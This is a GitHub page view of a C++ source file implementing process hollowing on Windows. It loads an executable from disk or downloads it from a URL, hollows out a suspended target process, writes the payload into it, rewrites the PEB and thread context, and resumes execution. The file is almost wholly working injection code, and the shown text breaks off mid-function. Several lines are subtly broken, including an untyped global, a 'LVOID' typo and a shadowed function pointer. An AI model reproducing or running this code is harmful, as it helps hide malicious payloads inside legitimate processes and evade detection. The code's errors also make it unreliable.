-
Notifications
You must be signed in to change notification settings - Fork 0
/
Process_Hollowing.cpp
998 lines (818 loc) · 36.2 KB
/
Process_Hollowing.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
#include <Windows.h>
#include <cstdio>
#include <winternl.h>
#include <wininet.h>
LPSTR lpSourceImage;
LPSTR lpTargetProcess;
pZwUnmapViewOfSection = NULL;
typedef LONG(NTAPI* pfnZwUnmapViewOfSection)(
HANDLE, PVOID
);
// Structure to store the address process infromation.
struct ProcessAddressInformation
{
LPVOID lpProcessPEBAddress;
LPVOID lpProcessImageBaseAddress;
};
//Structure relocation entry based on : https://docs.microsoft.com/fr-fr/windows/win32/debug/pe-format#the-reloc-section-image-only
typedef struct IMAGE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
} IMAGE_RELOCATION_ENTRY, * PIMAGE_RELOCATION_ENTRY;
BOOL UnmapSectionView(const HANDLE hProcess, const LPVOID base)
{
DWORD dwResult = NULL;
if(!pZwUnmapViewOfSection){
HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll");
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(hNtdllBase, "ZwUnmapViewOfSection");
}
dwResult = pZwUnmapViewOfSection(hProcess, (LPVOID)base);
return dwResult;
}
/**
* Function to retrieve the PE file content.
* \param lpFilePath : path of the PE file.
* \return : address of the content in the explorer memory.
*/
HANDLE GetFileContent(const LPSTR lpFilePath)
{
const HANDLE hFile = CreateFileA(lpFilePath, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("[-] An error occurred when trying to open the PE file! Error %d \n", GetLastError());
CloseHandle(hFile);
return nullptr;
}
const DWORD dFileSize = GetFileSize(hFile, nullptr);
if (dFileSize == INVALID_FILE_SIZE)
{
printf("[-] An error occurred when trying to get the PE file size !\n");
CloseHandle(hFile);
return nullptr;
}
const HANDLE hFileContent = HeapAlloc(GetProcessHeap(), 0, dFileSize);
if (hFileContent == INVALID_HANDLE_VALUE)
{
printf("[-] An error occurred when trying to allocate memory for the PE file content! Error: \n", GetLastError());
CloseHandle(hFile);
CloseHandle(hFileContent);
return nullptr;
}
const BOOL bFileRead = ReadFile(hFile, hFileContent, dFileSize, nullptr, nullptr);
if (!bFileRead)
{
printf("[-] An error occurred when trying to read the PE file content! Error: %d \n", GetLastError());
CloseHandle(hFile);
if (hFileContent != nullptr)
CloseHandle(hFileContent);
return nullptr;
}
CloseHandle(hFile);
return hFileContent;
}
/**
* Function to retrieve the PE file content from an URL.
* \param fileUrl : path of the PE file.
* \return : address of the content in the explorer memory.
*/
LVOID GetFileContentFromUrl(const LPSTR fileUrl)
{
// http://127.0.0.1:8080/msgbox.exe
HINTERNET hInternetSession;
HINTERNET hURL;
int fSize = 0;
DWORD dwBytesRead=0;
DWORD lpOutBuffer=0;
DWORD dwSize=sizeof(lpOutBuffer);
//char *PE_buffer;
LPVOID PE_buffer;
// Make internet connection.
hInternetSession = InternetOpenA(
"Mozilla 1.2.3", // agent
INTERNET_OPEN_TYPE_PRECONFIG, // access
NULL, NULL, 0); // defaults
// Make connection to desired page.
hURL = InternetOpenUrl(
hInternetSession, // session handle
fileUrl, // URL to access
NULL, 0, 0, 0); // defaults
// If connection to file is successfully opened we go check for the file size
if(hURL>0){
fSize = (int)HttpQueryInfoA(hURL,HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &lpOutBuffer,&dwSize,NULL);
printf("[+] File size: %d \n", lpOutBuffer);
//PE_buffer = (char *) malloc(lpOutBuffer+1);
PE_buffer = VirtualAlloc(NULL, lpOutBuffer, MEM_COMMIT, PAGE_READWRITE);
if(PE_buffer==nullptr){
printf("[-] Error allocating buffer for remote file: %d \n", GetLastError());
exit(1);
}
else{
if(InternetReadFile(hURL, PE_buffer, lpOutBuffer, &dwBytesRead)){
printf("[+] Number of bytes read: %d \n",dwBytesRead);
return PE_buffer;
}
else{
printf("[-] Error downloading the file content. Error: %d \n", GetLastError());
exit(1);
}
}
}
else{
printf("[-] Error opening the url: %s Error code: %d \n", fileUrl, GetLastError());
}
// Close down connections.
InternetCloseHandle(hURL);
InternetCloseHandle(hInternetSession);
return NULL;
}
/**
* Function to check if the image is a valid PE file.
* \param lpImage : PE image data.
* \return : TRUE if the image is a valid PE else no.
*/
BOOL IsValidPE(const LPVOID lpImage)
{
const auto lpImageDOSHeader = (PIMAGE_DOS_HEADER)lpImage;
const auto lpImageNTHeader = (PIMAGE_NT_HEADERS)((uintptr_t)lpImageDOSHeader + lpImageDOSHeader->e_lfanew);
if (lpImageNTHeader->Signature == IMAGE_NT_SIGNATURE)
return TRUE;
return FALSE;
}
/**
* Function to check if the image is a x86 executable.
* \param lpImage : PE image data.
* \return : TRUE if the image is x86 else FALSE.
*/
BOOL IsPE32(const LPVOID lpImage)
{
const auto lpImageDOSHeader = (PIMAGE_DOS_HEADER)lpImage;
const auto lpImageNTHeader = (PIMAGE_NT_HEADERS)((uintptr_t)lpImageDOSHeader + lpImageDOSHeader->e_lfanew);
if (lpImageNTHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
return TRUE;
return FALSE;
}
/**
* Function to retrieve the PEB address and image base address of the target process x86.
* \param lpPI : pointer to the process infromation.
* \return : if it is failed both address are nullptr.
*/
ProcessAddressInformation GetProcessAddressInformation32(const PPROCESS_INFORMATION lpPI)
{
LPVOID lpImageBaseAddress = nullptr;
WOW64_CONTEXT CTX = {};
CTX.ContextFlags = CONTEXT_FULL;
Wow64GetThreadContext(lpPI->hThread, &CTX);
const BOOL bReadBaseAddress = ReadProcessMemory(lpPI->hProcess, (LPVOID)(uintptr_t)(CTX.Ebx + 0x8), &lpImageBaseAddress, sizeof(DWORD), nullptr);
if (!bReadBaseAddress)
return ProcessAddressInformation{ nullptr, nullptr };
return ProcessAddressInformation{ (LPVOID)(uintptr_t)CTX.Ebx, lpImageBaseAddress };
}
/**
* Function to retrieve the PEB address and image base address of the target process x64.
* \param lpPI : pointer to the process infromation.
* \return : if it is failed both address are nullptr.
*/
ProcessAddressInformation GetProcessAddressInformation64(const PPROCESS_INFORMATION lpPI)
{
LPVOID lpImageBaseAddress = nullptr;
CONTEXT CTX = {};
CTX.ContextFlags = CONTEXT_FULL;
GetThreadContext(lpPI->hThread, &CTX);
const BOOL bReadBaseAddress = ReadProcessMemory(lpPI->hProcess, (LPVOID)(CTX.Rdx + 0x10), &lpImageBaseAddress, sizeof(UINT64), nullptr);
if (!bReadBaseAddress)
return ProcessAddressInformation{ nullptr, nullptr };
return ProcessAddressInformation{ (LPVOID)CTX.Rdx, lpImageBaseAddress };
}
/**
* Function to retrieve the subsystem of a PE image x86.
* \param lpImage : data of the PE image.
* \return : the subsystem charateristics.
*/
DWORD GetSubsytem32(const LPVOID lpImage)
{
const auto lpImageDOSHeader = (PIMAGE_DOS_HEADER)lpImage;
const auto lpImageNTHeader = (PIMAGE_NT_HEADERS32)((uintptr_t)lpImageDOSHeader + lpImageDOSHeader->e_lfanew);
return lpImageNTHeader->OptionalHeader.Subsystem;
}
/**
* Function to retrieve the subsystem of a PE image x64.
* \param lpImage : data of the PE image.
* \return : the subsystem charateristics.
*/
DWORD GetSubsytem64(const LPVOID lpImage)
{
const auto lpImageDOSHeader = (PIMAGE_DOS_HEADER)lpImage;
const auto lpImageNTHeader = (PIMAGE_NT_HEADERS64)((uintptr_t)lpImageDOSHeader + lpImageDOSHeader->e_lfanew);
return lpImageNTHeader->OptionalHeader.Subsystem;
}
/**
* Function to retrieve the subsytem of a process x86.
* \param hProcess : handle of the process.
* \param lpImageBaseAddress : image base address of the process.
* \return : the process subsystem charateristics.
*/
DWORD GetSubsystemEx32(const HANDLE hProcess, const LPVOID lpImageBaseAddress)
{
constexpr IMAGE_DOS_HEADER ImageDOSHeader = {};
const BOOL bGetDOSHeader = ReadProcessMemory(hProcess, lpImageBaseAddress, (LPVOID)&ImageDOSHeader, sizeof(IMAGE_DOS_HEADER), nullptr);
if (!bGetDOSHeader)
{
printf("[-] An error has occurred when trying to get the target DOS header. Error: \n", GetLastError());
return -1;
}
constexpr IMAGE_NT_HEADERS32 ImageNTHeader = {};
const BOOL bGetNTHeader = ReadProcessMemory(hProcess, (LPVOID)((uintptr_t)lpImageBaseAddress + ImageDOSHeader.e_lfanew), (LPVOID)&ImageNTHeader, sizeof(IMAGE_NT_HEADERS32), nullptr);
if (!bGetNTHeader)
{
printf("[-] An error has occurred when trying to get the target NT header. Error: %d \n", GetLastError());
return -1;
}
return ImageNTHeader.OptionalHeader.Subsystem;
}
/**
* Function to retrieve the subsytem of a process x64.
* \param hProcess : handle of the process.
* \param lpImageBaseAddress : image base address of the process.
* \return : the process subsystem charateristics.
*/
DWORD GetSubsystemEx64(const HANDLE hProcess, const LPVOID lpImageBaseAddress)
{
constexpr IMAGE_DOS_HEADER ImageDOSHeader = {};
const BOOL bGetDOSHeader = ReadProcessMemory(hProcess, lpImageBaseAddress, (LPVOID)&ImageDOSHeader, sizeof(IMAGE_DOS_HEADER), nullptr);
if (!bGetDOSHeader)
{
printf("[-] An error has occurred when trying to get the target DOS header. Error: %d \n", GetLastError());
return -1;
}
constexpr IMAGE_NT_HEADERS64 ImageNTHeader = {};
const BOOL bGetNTHeader = ReadProcessMemory(hProcess, (LPVOID)((uintptr_t)lpImageBaseAddress + ImageDOSHeader.e_lfanew), (LPVOID)&ImageNTHeader, sizeof(IMAGE_NT_HEADERS64), nullptr);
if (!bGetNTHeader)
{
printf("[-] An error has occurred when trying to get the target NT header. Error: %d \n", GetLastError());
return -1;
}
return ImageNTHeader.OptionalHeader.Subsystem;
}
/**
* Function to clean and exit target process.
* \param lpPI : pointer to PROCESS_INFORMATION of the target process.
* \param hFileContent : handle of the source image content.
*/
void CleanAndExitProcess(const LPPROCESS_INFORMATION lpPI, const HANDLE hFileContent)
{
if (hFileContent != nullptr && hFileContent != INVALID_HANDLE_VALUE)
HeapFree(GetProcessHeap(), 0, hFileContent);
if (lpPI->hThread != nullptr)
CloseHandle(lpPI->hThread);
if (lpPI->hProcess != nullptr)
{
TerminateProcess(lpPI->hProcess, -1);
CloseHandle(lpPI->hProcess);
}
}
/**
* Function to clean the target process.
* \param lpPI : pointer to PROCESS_INFORMATION of the target process.
* \param hFileContent : handle of the source image content.
*/
void CleanProcess(const LPPROCESS_INFORMATION lpPI, const HANDLE hFileContent)
{
if (hFileContent != nullptr && hFileContent != INVALID_HANDLE_VALUE)
HeapFree(GetProcessHeap(), 0, hFileContent);
if (lpPI->hThread != nullptr)
CloseHandle(lpPI->hThread);
if (lpPI->hProcess != nullptr)
CloseHandle(lpPI->hProcess);
}
/**
* Function to check if the source image has a relocation table x86.
* \param lpImage : content of the source image.
* \return : TRUE if the image has a relocation table else FALSE.
*/
BOOL HasRelocation32(const LPVOID lpImage)
{
const auto lpImageDOSHeader = (PIMAGE_DOS_HEADER)lpImage;
const auto lpImageNTHeader = (PIMAGE_NT_HEADERS32)((uintptr_t)lpImageDOSHeader + lpImageDOSHeader->e_lfanew);
if (lpImageNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
return TRUE;
return FALSE;
}
/**
* Function to check if the source image has a relocation table x64.
* \param lpImage : content of the source image.
* \return : TRUE if the image has a relocation table else FALSE.
*/
BOOL HasRelocation64(const LPVOID lpImage)
{
const auto lpImageDOSHeader = (PIMAGE_DOS_HEADER)lpImage;
const auto lpImageNTHeader = (PIMAGE_NT_HEADERS64)((uintptr_t)lpImageDOSHeader + lpImageDOSHeader->e_lfanew);
if (lpImageNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
return TRUE;
return FALSE;
}
/**
* Function to retrieve the IMAGE_DATA_DIRECTORY reloc of a x86 image.
* \param lpImage : PE source image.
* \return : 0 if fail else the data directory.
*/
IMAGE_DATA_DIRECTORY GetRelocAddress32(const LPVOID lpImage)
{
const auto lpImageDOSHeader = (PIMAGE_DOS_HEADER)lpImage;
const auto lpImageNTHeader = (PIMAGE_NT_HEADERS32)((uintptr_t)lpImageDOSHeader + lpImageDOSHeader->e_lfanew);
if (lpImageNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
return lpImageNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
return { 0, 0 };
}
/**
* Function to retrieve the IMAGE_DATA_DIRECTORY reloc of a x64 image.
* \param lpImage : PE source image.
* \return : 0 if fail else the data directory.
*/
IMAGE_DATA_DIRECTORY GetRelocAddress64(const LPVOID lpImage)
{
const auto lpImageDOSHeader = (PIMAGE_DOS_HEADER)lpImage;
const auto lpImageNTHeader = (PIMAGE_NT_HEADERS64)((uintptr_t)lpImageDOSHeader + lpImageDOSHeader->e_lfanew);
if (lpImageNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
return lpImageNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
return { 0, 0 };
}
/**
* Function to write the new PE image and resume the process thread x86.
* \param lpPI : pointer to the process informations structure.
* \param lpImage : content of the new image.
* \return : TRUE if the PE run succesfully else FALSE.
*/
BOOL RunPE32(const LPPROCESS_INFORMATION lpPI, const LPVOID lpImage)
{
LPVOID lpAllocAddress;
const auto lpImageDOSHeader = (PIMAGE_DOS_HEADER)lpImage;
const auto lpImageNTHeader32 = (PIMAGE_NT_HEADERS32)((uintptr_t)lpImageDOSHeader + lpImageDOSHeader->e_lfanew);
lpAllocAddress = VirtualAllocEx(lpPI->hProcess, (LPVOID)(uintptr_t)lpImageNTHeader32->OptionalHeader.ImageBase, lpImageNTHeader32->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAllocAddress == nullptr)
{
printf("[-] An error has occurred when trying to allocate memory for the new image. Error: %d \n", GetLastError());
return FALSE;
}
printf("[+] Memory allocate at : 0x%p\n", (LPVOID)(uintptr_t)lpAllocAddress);
const BOOL bWriteHeaders = WriteProcessMemory(lpPI->hProcess, lpAllocAddress, (LPVOID)lpImage, lpImageNTHeader32->OptionalHeader.SizeOfHeaders, nullptr);
if (!bWriteHeaders)
{
printf("[-] An error has occurred when trying to write the headers of the new image. Error: %d \n", GetLastError());
return FALSE;
}
printf("[+] Headers write at : 0x%p\n", (LPVOID)(DWORD64)lpImageNTHeader32->OptionalHeader.ImageBase);
for (int i = 0; i < lpImageNTHeader32->FileHeader.NumberOfSections; i++)
{
const auto lpImageSectionHeader = (PIMAGE_SECTION_HEADER)((uintptr_t)lpImageNTHeader32 + 4 + sizeof(IMAGE_FILE_HEADER) + lpImageNTHeader32->FileHeader.SizeOfOptionalHeader + (i * sizeof(IMAGE_SECTION_HEADER)));
const BOOL bWriteSection = WriteProcessMemory(lpPI->hProcess, (LPVOID)((uintptr_t)lpAllocAddress + lpImageSectionHeader->VirtualAddress), (LPVOID)((uintptr_t)lpImage + lpImageSectionHeader->PointerToRawData), lpImageSectionHeader->SizeOfRawData, nullptr);
if (!bWriteSection)
{
printf("[-] An error has occurred when trying to write the section : %s. Error: %d \n", (LPSTR)lpImageSectionHeader->Name, GetLastError());
return FALSE;
}
printf("[+] Section %s write at : 0x%p.\n", (LPSTR)lpImageSectionHeader->Name, (LPVOID)((uintptr_t)lpAllocAddress + lpImageSectionHeader->VirtualAddress));
}
WOW64_CONTEXT CTX = {};
CTX.ContextFlags = CONTEXT_FULL;
const BOOL bGetContext = Wow64GetThreadContext(lpPI->hThread, &CTX);
if (!bGetContext)
{
printf("[-] An error has occurred when trying to get the thread context. Error: %d \n", GetLastError());
return FALSE;
}
const BOOL bWritePEB = WriteProcessMemory(lpPI->hProcess, (LPVOID)((uintptr_t)CTX.Ebx + 0x8), &lpImageNTHeader32->OptionalHeader.ImageBase, sizeof(DWORD), nullptr);
if (!bWritePEB)
{
printf("[-] An error has occurred when trying to write the image base in the PEB. Error: %d \n", GetLastError());
return FALSE;
}
CTX.Eax = (DWORD)((uintptr_t)lpAllocAddress + lpImageNTHeader32->OptionalHeader.AddressOfEntryPoint);
const BOOL bSetContext = Wow64SetThreadContext(lpPI->hThread, &CTX);
if (!bSetContext)
{
printf("[-] An error has occurred when trying to set the thread context. Error: %d \n", GetLastError());
return FALSE;
}
ResumeThread(lpPI->hThread);
return TRUE;
}
/**
* Function to write the new PE image and resume the process thread x64.
* \param lpPI : pointer to the process informations structure.
* \param lpImage : content of the new image.
* \return : TRUE if the PE run succesfully else FALSE.
*/
BOOL RunPE64(const LPPROCESS_INFORMATION lpPI, const LPVOID lpImage, const LPVOID remoteBase)
{
LPVOID lpAllocAddress;
BOOL umResult;
const auto lpImageDOSHeader = (PIMAGE_DOS_HEADER)lpImage;
const auto lpImageNTHeader64 = (PIMAGE_NT_HEADERS64)((uintptr_t)lpImageDOSHeader + lpImageDOSHeader->e_lfanew);
lpImageNTHeader64->FileHeader.charateristics; // check if .reloc stripped so it can only load at base address
// virtual query to check if base address exists on remote process?
umResult = UnmapSectionView(lpPI->hProcess, (LPVOID)lpImageNTHeader64->OptionalHeader.ImageBase);
//umResult = UnmapSectionView(lpPI->hProcess, (LPVOID)remoteBase);
lpAllocAddress = VirtualAllocEx(lpPI->hProcess, remoteBase, lpImageNTHeader64->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAllocAddress == nullptr)
{
printf("[-] An error has occurred when trying to allocate memory for the new image %p. Error %d \n", (LPVOID)lpImageNTHeader64->OptionalHeader.ImageBase, GetLastError());
return FALSE;
}
printf("[+] Memory allocated at : 0x%p\n", (LPVOID)(uintptr_t)lpAllocAddress);
const BOOL bWriteHeaders = WriteProcessMemory(lpPI->hProcess, lpAllocAddress, lpImage, lpImageNTHeader64->OptionalHeader.SizeOfHeaders, nullptr);
if (!bWriteHeaders)
{
printf("[-] An error has occurred when trying to write the headers of the new image. Error: %d \n", GetLastError());
return FALSE;
}
printf("[+] Headers write at : 0x%p\n", (LPVOID)lpImageNTHeader64->OptionalHeader.ImageBase);
for (int i = 0; i < lpImageNTHeader64->FileHeader.NumberOfSections; i++)
{
const auto lpImageSectionHeader = (PIMAGE_SECTION_HEADER)((uintptr_t)lpImageNTHeader64 + 4 + sizeof(IMAGE_FILE_HEADER) + lpImageNTHeader64->FileHeader.SizeOfOptionalHeader + (i * sizeof(IMAGE_SECTION_HEADER)));
const BOOL bWriteSection = WriteProcessMemory(lpPI->hProcess, (LPVOID)((UINT64)lpAllocAddress + lpImageSectionHeader->VirtualAddress), (LPVOID)((UINT64)lpImage + lpImageSectionHeader->PointerToRawData), lpImageSectionHeader->SizeOfRawData, nullptr);
if (!bWriteSection)
{
printf("[-] An error has occurred when trying to write the section : %s. Error: %d \n", (LPSTR)lpImageSectionHeader->Name, GetLastError());
return FALSE;
}
printf("[+] Section %s write at : 0x%p.\n", (LPSTR)lpImageSectionHeader->Name, (LPVOID)((UINT64)lpAllocAddress + lpImageSectionHeader->VirtualAddress));
}
CONTEXT CTX = {};
CTX.ContextFlags = CONTEXT_FULL;
const BOOL bGetContext = GetThreadContext(lpPI->hThread, &CTX);
if (!bGetContext)
{
printf("[-] An error has occurred when trying to get the thread context. Error: %d \n", GetLastError());
return FALSE;
}
const BOOL bWritePEB = WriteProcessMemory(lpPI->hProcess, (LPVOID)(CTX.Rdx + 0x10), &lpImageNTHeader64->OptionalHeader.ImageBase, sizeof(DWORD64), nullptr);
if (!bWritePEB)
{
printf("[-] An error has occurred when trying to write the image base in the PEB. Error: %d \n", GetLastError());
return FALSE;
}
CTX.Rcx = (DWORD64)lpAllocAddress + lpImageNTHeader64->OptionalHeader.AddressOfEntryPoint;
const BOOL bSetContext = SetThreadContext(lpPI->hThread, &CTX);
if (!bSetContext)
{
printf("[-] An error has occurred when trying to set the thread context. Error: %d \n", GetLastError());
return FALSE;
}
ResumeThread(lpPI->hThread);
return TRUE;
}
/**
* Function to fix relocation table and write the new PE image and resume the process thread x86.
* \param lpPI : pointer to the process informations structure.
* \param lpImage : content of the new image.
* \return : TRUE if the PE run succesfully else FALSE.
*/
BOOL RunPEReloc32(const LPPROCESS_INFORMATION lpPI, const LPVOID lpImage)
{
LPVOID lpAllocAddress;
const auto lpImageDOSHeader = (PIMAGE_DOS_HEADER)lpImage;
const auto lpImageNTHeader32 = (PIMAGE_NT_HEADERS32)((uintptr_t)lpImageDOSHeader + lpImageDOSHeader->e_lfanew);
lpAllocAddress = VirtualAllocEx(lpPI->hProcess, nullptr, lpImageNTHeader32->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAllocAddress == nullptr)
{
printf("[-] An error has occurred when trying to allocate memory for the new image. Error: %d \n", GetLastError());
return FALSE;
}
printf("[+] Memory allocate at : 0x%p\n", (LPVOID)(uintptr_t)lpAllocAddress);
const DWORD DeltaImageBase = (DWORD64)lpAllocAddress - lpImageNTHeader32->OptionalHeader.ImageBase;
lpImageNTHeader32->OptionalHeader.ImageBase = (DWORD64)lpAllocAddress;
const BOOL bWriteHeaders = WriteProcessMemory(lpPI->hProcess, lpAllocAddress, lpImage, lpImageNTHeader32->OptionalHeader.SizeOfHeaders, nullptr);
if (!bWriteHeaders)
{
printf("[-] An error has occurred when trying to write the headers of the new image. Error: %d \n", GetLastError());
return FALSE;
}
printf("[+] Headers write at : 0x%p\n", lpAllocAddress);
const IMAGE_DATA_DIRECTORY ImageDataReloc = GetRelocAddress32(lpImage);
PIMAGE_SECTION_HEADER lpImageRelocSection = nullptr;
for (int i = 0; i < lpImageNTHeader32->FileHeader.NumberOfSections; i++)
{
const auto lpImageSectionHeader = (PIMAGE_SECTION_HEADER)((uintptr_t)lpImageNTHeader32 + 4 + sizeof(IMAGE_FILE_HEADER) + lpImageNTHeader32->FileHeader.SizeOfOptionalHeader + (i * sizeof(IMAGE_SECTION_HEADER)));
if (ImageDataReloc.VirtualAddress >= lpImageSectionHeader->VirtualAddress && ImageDataReloc.VirtualAddress < (lpImageSectionHeader->VirtualAddress + lpImageSectionHeader->Misc.VirtualSize))
lpImageRelocSection = lpImageSectionHeader;
const BOOL bWriteSection = WriteProcessMemory(lpPI->hProcess, (LPVOID)((uintptr_t)lpAllocAddress + lpImageSectionHeader->VirtualAddress), (LPVOID)((uintptr_t)lpImage + lpImageSectionHeader->PointerToRawData), lpImageSectionHeader->SizeOfRawData, nullptr);
if (!bWriteSection)
{
printf("[-] An error has occurred when trying to write the section : %s.\n", (LPSTR)lpImageSectionHeader->Name);
return FALSE;
}
printf("[+] Section %s write at : 0x%p.\n", (LPSTR)lpImageSectionHeader->Name, (LPVOID)((uintptr_t)lpAllocAddress + lpImageSectionHeader->VirtualAddress));
}
if (lpImageRelocSection == nullptr)
{
printf("[-] An error has occurred when trying to get the relocation section of the source image. Error: %d \n", GetLastError());
return FALSE;
}
printf("[+] Relocation section : %s\n", (char*)lpImageRelocSection->Name);
DWORD RelocOffset = 0;
while (RelocOffset < ImageDataReloc.Size)
{
const auto lpImageBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD64)lpImage + lpImageRelocSection->PointerToRawData + RelocOffset);
RelocOffset += sizeof(IMAGE_BASE_RELOCATION);
const DWORD NumberOfEntries = (lpImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_ENTRY);
for (DWORD i = 0; i < NumberOfEntries; i++)
{
const auto lpImageRelocationEntry = (PIMAGE_RELOCATION_ENTRY)((DWORD64)lpImage + lpImageRelocSection->PointerToRawData + RelocOffset);
RelocOffset += sizeof(IMAGE_RELOCATION_ENTRY);
if (lpImageRelocationEntry->Type == 0)
continue;
const DWORD64 AddressLocation = (DWORD64)lpAllocAddress + lpImageBaseRelocation->VirtualAddress + lpImageRelocationEntry->Offset;
DWORD PatchedAddress = 0;
ReadProcessMemory(lpPI->hProcess, (LPVOID)AddressLocation, &PatchedAddress, sizeof(DWORD), nullptr);
PatchedAddress += DeltaImageBase;
WriteProcessMemory(lpPI->hProcess, (LPVOID)AddressLocation, &PatchedAddress, sizeof(DWORD), nullptr);
}
}
printf("[+] Relocations done.\n");
WOW64_CONTEXT CTX = {};
CTX.ContextFlags = CONTEXT_FULL;
const BOOL bGetContext = Wow64GetThreadContext(lpPI->hThread, &CTX);
if (!bGetContext)
{
printf("[-] An error has occurred when trying to get the thread context. Error: %d \n", GetLastError());
return FALSE;
}
const BOOL bWritePEB = WriteProcessMemory(lpPI->hProcess, (LPVOID)((uintptr_t)CTX.Ebx + 0x8), &lpAllocAddress, sizeof(DWORD), nullptr);
if (!bWritePEB)
{
printf("[-] An error has occurred when trying to write the image base in the PEB. Error: %d \n", GetLastError());
return FALSE;
}
CTX.Eax = (DWORD)((uintptr_t)lpAllocAddress + lpImageNTHeader32->OptionalHeader.AddressOfEntryPoint);
const BOOL bSetContext = Wow64SetThreadContext(lpPI->hThread, &CTX);
if (!bSetContext)
{
printf("[-] An error has occurred when trying to set the thread context. Error: %d \n", GetLastError());
return FALSE;
}
ResumeThread(lpPI->hThread);
return TRUE;
}
/**
* Function to fix relocation table and write the new PE image and resume the process thread x64.
* \param lpPI : pointer to the process informations structure.
* \param lpImage : content of the new image.
* \return : TRUE if the PE run succesfully else FALSE.
*/
BOOL RunPEReloc64(const LPPROCESS_INFORMATION lpPI, const LPVOID lpImage, const LPVOID remoteBase)
{
LPVOID lpAllocAddress;
DWORD umResult;
